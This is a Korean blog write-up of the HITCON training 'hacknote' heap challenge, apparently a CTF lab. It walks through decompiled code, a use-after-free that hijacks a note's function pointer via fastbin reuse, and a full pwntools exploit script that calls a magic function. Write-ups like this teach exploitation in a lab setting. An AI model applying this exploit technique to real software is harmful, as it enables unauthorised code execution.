1. 문제
1) mitigation 확인
카나리와 NX가 걸려있다
2) 문제 확인
노트를 입력, 삭제, 출력 하는 메뉴가 나온다. 전형적인 힙 문제의 형태이다.
3) 코드흐름 파악
- add_note함수
... if ( count <= 5 ) { for ( i = 0; i <= 4; ++i ) { if ( !notelist[i] ) { notelist[i] = malloc(8u); if ( !notelist[i] ) { puts("Alloca Error"); exit(-1); } *(_DWORD *)notelist[i] = print_note_content; printf("Note size :"); read(0, &buf, 8u); size = atoi(&buf); v0 = notelist[i]; v0[1] = malloc(size); if ( !*((_DWORD *)notelist[i] + 1) ) { puts("Alloca Error"); exit(-1); } printf("Content :"); read(0, *((void **)notelist[i] + 1), size); puts("Success !"); ++count; return __readgsdword(0x14u) ^ v5; } } } ...
우선 add_note()는 5번 밖에 못한다. add_note가 처음 호출되면, 8바이트 크기 malloc이 먼저 진행되고, 그 주소를 notelist 배열에 담는다. 그다음, print_note_content 함수 포인터를 힙 영역에 저장을 한다.
그 뒤, 사용자가 입력한 사이즈 만큼 malloc을 하여 notelist가 가리키고 있는 위치 +4에다가 그 할당받은 주소를 넣는다. 그리고 read함수로 *notelist+4의 위치에 content를 입력한다.
- del_note함수
unsigned int del_note() { int v1; // [esp+4h] [ebp-14h] char buf; // [esp+8h] [ebp-10h] unsigned int v3; // [esp+Ch] [ebp-Ch] v3 = __readgsdword(0x14u); printf("Index :"); read(0, &buf, 4u); v1 = atoi(&buf); if ( v1 < 0 || v1 >= count ) { puts("Out of bound!"); _exit(0); } if ( notelist[v1] ) { free(*((void **)notelist[v1] + 1)); free(notelist[v1]); puts("Success"); } return __readgsdword(0x14u) ^ v3; }
삭제하려는 notelist의 인덱스가 정상인지 확인을 한다. 정상적인 인덱스를 입력하였다면, content를 담고 있는 청크를 먼저 free하고 그다음 함수포인터를 저장하고 있는 청크를 free한다.
- print_note 함수
unsigned int print_note() { int v1; // [esp+4h] [ebp-14h] char buf; // [esp+8h] [ebp-10h] unsigned int v3; // [esp+Ch] [ebp-Ch] v3 = __readgsdword(0x14u); printf("Index :"); read(0, &buf, 4u); v1 = atoi(&buf); if ( v1 < 0 || v1 >= count ) { puts("Out of bound!"); _exit(0); } if ( notelist[v1] ) (*(void (__cdecl **)(void *))notelist[v1])(notelist[v1]); return __readgsdword(0x14u) ^ v3; }
출력하고 싶은 인덱스를 입력하면, 그 인덱스에 들어있는 함수포인터를 호출한다.
2. 접근방법
우리에게 magic 함수가 주어졌다. 이 문제는 UAF를 이용한 문제이다. 전에 비슷한 문제를 풀었기 때문에 바로 접근해보자.
add_note 함수가 한번 호출될 때마다, 청크는 두개씩 할당된다. 함수포인터를 저장하기 위한 청크와 사용자가 입력한 사이즈 만큼 할당받은 청크 이렇게 두개이다.
함수포인터를 저장하는 청크는 고정 값 malloc(8)으로 만들어진다. 사용자가 3번 메뉴를 클릭하면 위 사진에서 '함수포인터저장 ' 이 청크 주소를 가져가서 출력을 해주고, 사용자가 입력하는 컨텐트는 '데이터 저장' 이 청크 주소가 가리키는 위치에 들어간다.
따라서 우리는 UAF를 이용해서 저 함수포인터가 저장되어 있는 공간을, 사용자가 입력받는 공간으로 재할당 받게 하여, magic 함수 주소를 넣어두고, 3번 메뉴를 통해 print를 시키면 magic 함수가 실행되게 할 것이다.
시나리오
- add(32)크기로 3개의 청크를 만든다
- del(0), del(1), del(2) 순으로 free를 시킨다
- add(8)을 한번더 한다
32는 fasbin size이므로 LIFO 형태로 들어간다. 따라서
요런 형태로 free 청크가 들어간다. 여기서 3번 add(8)을 하게 되면, 함수포인터를 저장하기 위해 내부적으로 고정 8바이트로 malloc하는 것 하나랑, 사용자가 입력한 사이즈로 malloc한거 둘다 8바이트이므로,
0x8a1f070 청크를 가지고, 함수포인터 저장을 위한 청크 재할당을 할테고, 0x8a1f038 청크를 가지고 요청 사이즈를 위한 청크 재할당을 할 것이다.
따라서 *notelist[3]+4 위치가 사용자가 요청한 8사이즈를 위해 할당받은 청크 주소이다. 저기는 인덱스 1의 함수포인터가 들어있는 위치이므로, 여기서 입력을 하면 저 0x8a1f000 값이 덮혀질것이다. 이 부분을 magic함수로 덮으면 끝이다
잘 들어갔다. 이제 print_note 함수를 호출하여 인덱스 1을 입력하면 된다
3. 풀이
최종 익스코드는 다음과 같다
from pwn import *
p=process("./hacknote")
gdb.attach(p,'code\nb *0x676+$code\n')
def add_(size,content):
p.sendlineafter("choice :","1")
p.sendafter("size :",str(size))
p.sendlineafter("Content :",str(content))
def del_(index):
p.sendlineafter("choice :","2")
p.sendafter("Index :",str(index))
def print_(index):
p.sendlineafter("choice :","3")
p.sendafter("Index :",str(index))
add_(32,"AA")
add_(32,"BB")
add_(32,"CC")
del_(0)
del_(1)
del_(2)
add_(8,p32(0x08048986))
print_(1)
p.interactive()
4. 몰랐던 개념
- none
'워게임 > Hitcon training' 카테고리의 다른 글
[Hicon training] LAB 12 (0) | 2020.04.21 |
---|---|
[Hicon training] LAB 11 (0) | 2020.04.20 |
[Hicon training] LAB 9 (0) | 2020.04.16 |
[Hicon training] LAB 8 (0) | 2020.04.15 |
[Hicon training] LAB 7 (0) | 2020.04.15 |